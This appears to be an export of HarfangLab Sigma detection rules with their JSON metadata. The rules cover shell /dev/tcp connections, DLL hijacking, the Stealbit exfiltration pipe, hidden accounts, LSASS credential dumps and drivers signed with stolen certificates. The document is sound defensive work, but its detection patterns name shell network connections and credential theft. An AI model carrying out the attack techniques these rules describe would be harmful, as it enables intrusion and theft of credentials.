+  "content": "title: Suspicious TCP Connection from Shell\nid: 8ca3659e-81fe-487c-9ecf-80da110acec4\ndescription: |\n    Detects a suspicious TCP connection from a Linux shell command.\n    Adversaries can open TCP connections from a shell to scan for open ports and list the services running on a remote host or local network infrastructure devices, including those that may be vulnerable to remote software exploitation.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1046/T1046.md#atomic-test-1---port-scan\n    - https://acc3ssp0int.com/2023/10/15/back-2-basics-dev-tcp/\n    - https://attack.mitre.org/techniques/T1046/\n    - https://attack.mitre.org/techniques/T1049/\ndate: 2022/12/28\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1049\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Bash\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: 'echo*>*/dev/tcp/'\n        ParentImage|contains: '?'\n\n    exclusion_localhost:\n        CommandLine|contains:\n            - '/dev/tcp/127.0.0.1'\n            - '/dev/tcp/localhost'\n\n    exclusion_rfc1918:\n        CommandLine|contains:\n            - '/dev/tcp/192.168.'\n            - '/dev/tcp/10.'\n            - '/dev/tcp/172.16.'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - '/dev/tcp/$HOST/$PORT'\n            - '/dev/tcp/${host}/${port}'\n\n    exclusion_teleport:\n        CommandLine|contains|all:\n            - 'bash -c #!/bin/bash'\n            - 'set -euo pipefail'\n            - 'SCRIPT_NAME=\"teleport-installer\"'\n            - '# default values'\n            - 'ALIVE_CHECK_DELAY='\n\n    exclusion_containerd:\n        - ProcessParentImage: '/usr/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains: '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_podman:\n        - ProcessImage: '/usr/bin/podman'\n        - ProcessParentImage: '/usr/bin/podman'\n        - ProcessAncestors|contains: '|/usr/bin/podman|'\n\n    exclusion_bladelogic:\n        - ProcessImage: '/opt/bladelogic/*/bin/rscd_full'\n        - ProcessParentImage: '/opt/bladelogic/*/bin/rscd_full'\n        - ProcessAncestors|contains: '|/opt/bladelogic/*/bin/rscd_full|'\n\n    exclusion_ngmagent:\n        - ProcessCommandLine|contains: '/opt/*/NGMAgent/AgentManager/agents/'\n        - ProcessParentCommandLine|contains: '/opt/*/NGMAgent/AgentManager/agents/'\n        - ProcessGrandparentCommandLine|contains: '/opt/*/NGMAgent/AgentManager/agents/'\n\n    exclusion_aptplaton:\n        ProcessParentCommandLine|contains: '/bin/aptplaton-register'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_template_cron:\n        - ParentImage:\n            - '/usr/sbin/cron'\n            - '/usr/sbin/crond'\n        - Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_syslog:\n        CommandLine|contains:\n            - 'echo \"<13>*>*/dev/tcp/*/514'\n            - 'echo \"<14>*>*/dev/tcp/*/514'\n            - 'echo \\\\\"<13>*>*/dev/tcp/*/514'\n            - 'echo \\\\\"<14>*>*/dev/tcp/*/514'\n\n    exclusion_oneautomation:\n        ProcessAncestors|contains: '|/opt/oneautomation/*/smgr/bin/ucybsmgr|'\n\n    # Avoid multiple detections when the command-line is executed via timeout\n    exclusion_timeout:\n        - ProcessImage: '/usr/bin/timeout'\n        - ProcessCommandLine|contains: 'timeout '\n          ProcessParentImage: '/usr/lib/openssh/sshd-session'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8ca3659e-81fe-487c-9ecf-80da110acec4",
+  "rule_name": "Suspicious TCP Connection from Shell",
+  "rule_description": "Detects a suspicious TCP connection from a Linux shell command.\nAdversaries can open TCP connections from a shell to scan for open ports and list the services running on a remote host or local network infrastructure devices, including those that may be vulnerable to remote software exploitation.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-12-28",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8cb69029-47d1-4f24-8749-1271be96e42c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075779Z",
+  "creation_date": "2026-03-23T11:45:34.075781Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075786Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_computerdefaults.yml",
+  "content": "title: DLL Hijacking via computerdefaults.exe\nid: 8cb69029-47d1-4f24-8749-1271be96e42c\ndescription: |\n    Detects potential Windows DLL Hijacking via computerdefaults.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'computerdefaults.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\MLANG.dll'\n            - '\\PROPSYS.dll'\n            - '\\Secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8cb69029-47d1-4f24-8749-1271be96e42c",
+  "rule_name": "DLL Hijacking via computerdefaults.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via computerdefaults.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8cedd1b6-00d8-4da3-8d55-99c20ee49ad9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077575Z",
+  "creation_date": "2026-03-23T11:45:34.077577Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077581Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1041_stealbit_named_pipe_connected.yml",
+  "content": "title: Stealbit Named Pipe Connected\nid: 8cedd1b6-00d8-4da3-8d55-99c20ee49ad9\ndescription: |\n    Detects the connection to a named pipe pertaining to Stealbit.\n    Stealbit is a complex exfiltration tool used by the LockBit ransomware group.\n    It uses named pipes to coordinate its exfiltration and data-mining threads.\n    It is recommended to quickly look for other signs of cybercrime activity on the instance and to isolate infected machines.\nreferences:\n    - https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1041\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Malware.Stealbit\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName|endswith: '\\STEALBIT-MASTER-PIPE'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8cedd1b6-00d8-4da3-8d55-99c20ee49ad9",
+  "rule_name": "Stealbit Named Pipe Connected",
+  "rule_description": "Detects the connection to a named pipe pertaining to Stealbit.\nStealbit is a complex exfiltration tool used by the LockBit ransomware group.\nIt uses named pipes to coordinate its exfiltration and data-mining threads.\nIt is recommended to quickly look for other signs of cybercrime activity on the instance and to isolate infected machines.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8d4659ce-e1c4-4c1c-aedb-7fe1ae290905",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591140Z",
+  "creation_date": "2026-03-23T11:45:34.591144Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591152Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_applicationframehost.yml",
+  "content": "title: DLL Hijacking via ApplicationFrameHost.exe\nid: 8d4659ce-e1c4-4c1c-aedb-7fe1ae290905\ndescription: |\n    Detects potential Windows DLL Hijacking via ApplicationFrameHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ApplicationFrameHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\applicationframe.dll'\n            - '\\dxgi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_dgxi:\n        ImageLoaded|endswith: '\\dxgi.dll'\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\WindowsApps\\'\n            - '?:\\Program Files (x86)\\WindowsApps\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8d4659ce-e1c4-4c1c-aedb-7fe1ae290905",
+  "rule_name": "DLL Hijacking via ApplicationFrameHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ApplicationFrameHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8da6fece-5012-491e-a335-8dc1fa9fd87b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089235Z",
+  "creation_date": "2026-03-23T11:45:34.089237Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089241Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wgpsec/CreateHiddenAccount",
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_001_hidden_user_account.yml",
+  "content": "title: Hidden User Account Created\nid: 8da6fece-5012-491e-a335-8dc1fa9fd87b\ndescription: |\n    Detects when a user account is created with a name that impersonates a computer account.\n    Attackers can create a hidden user account to create a hidden persistence on infected systems.\n    It is recommended to investigate to context of this user creation and to determine whether it is legitimate.\nreferences:\n    - https://github.com/wgpsec/CreateHiddenAccount\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2021/04/30\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4720\n        TargetUserName|endswith: '$'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8da6fece-5012-491e-a335-8dc1fa9fd87b",
+  "rule_name": "Hidden User Account Created",
+  "rule_description": "Detects when a user account is created with a name that impersonates a computer account.\nAttackers can create a hidden user account to create a hidden persistence on infected systems.\nIt is recommended to investigate to context of this user creation and to determine whether it is legitimate.\n",
+  "rule_creation_date": "2021-04-30",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8da9a32c-646d-4d3c-a61a-23c5ef613681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094461Z",
+  "creation_date": "2026-03-23T11:45:34.094463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094468Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_dropping_dump_file.yml",
+  "content": "title: Minidump File or Mimikatz Output Written to Disk by LSASS\nid: 8da9a32c-646d-4d3c-a61a-23c5ef613681\ndescription: |\n    Detects when a minidump or a Mimikatz output is written to disk by the Local Security Authority Subsystem Service (LSASS) process.\n    The LSASS process is responsible for authentications in Windows.\n    Attackers may try to dump or read its memory to access the credentials of local users.\n    A minidump file dropped by the LSASS process could be the result of credential theft.\n    It is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\nreferences:\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://github.com/gentilkiwi/mimikatz\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2023/03/28\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_write\ndetection:\n    selection:\n        Image|endswith: '\\lsass.exe'\n        FirstBytes|contains:\n            # 'Authentication' ascii string, start of mimikatz output\n            - '41757468656e7469636174696f6e'\n            # Minidump header\n            # Value: MDMP\\x93\\xa7\n            - '4d444d5093a7'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8da9a32c-646d-4d3c-a61a-23c5ef613681",
+  "rule_name": "Minidump File or Mimikatz Output Written to Disk by LSASS",
+  "rule_description": "Detects when a minidump or a Mimikatz output is written to disk by the Local Security Authority Subsystem Service (LSASS) process.\nThe LSASS process is responsible for authentications in Windows.\nAttackers may try to dump or read its memory to access the credentials of local users.\nA minidump file dropped by the LSASS process could be the result of credential theft.\nIt is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\n",
+  "rule_creation_date": "2023-03-28",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8db0bdc6-3a58-4eb7-af5b-e03ee6e87c7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088648Z",
+  "creation_date": "2026-03-23T11:45:34.088650Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088654Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_hackingteam_stolen_cert_driver_load.yml",
+  "content": "title: Driver Loaded Signed with Hacking Team Certificate\nid: 8db0bdc6-3a58-4eb7-af5b-e03ee6e87c7b\ndescription: |\n    Detects the loading of a driver signed using one of Hacking Team certificates.\n    HackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\n    This can be the sign of a malware using a fake signature to evade AV/EDR detection.\n    It is recommended to analyze the driver to search for malicious contents.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2023/07/13\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: driver_load\n    product: windows\ndetection:\n    selection:\n        DriverSignatureSignerThumbprint:\n            - '2A1DA6DC8635E6C725CCCBE6C035EEC813FBEB2E' # Certum Level III CA - Open Source Developer, William Zoltan\n            - '6C5886C0DA723E8B2AEC8C02392D4B175E793EBE' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B366DBE8B3E81915CA5C5170C65DCAD8348B11F0' # VeriSign Class 3 Code Signing 2010 CA - HT Srl\n            - 'B7C646E3A433986E165BA45B209DA4A2C4111939' # Certum Code Signing CA - Luca Marcone\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8db0bdc6-3a58-4eb7-af5b-e03ee6e87c7b",
+  "rule_name": "Driver Loaded Signed with Hacking Team Certificate",
+  "rule_description": "Detects the loading of a driver signed using one of Hacking Team certificates.\nHackingTeam is an Italian information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.\nThis can be the sign of a malware using a fake signature to evade AV/EDR detection.\nIt is recommended to analyze the driver to search for malicious contents.\n",
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8e009fca-fb86-4253-b33b-b0f0f1ae7ba3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
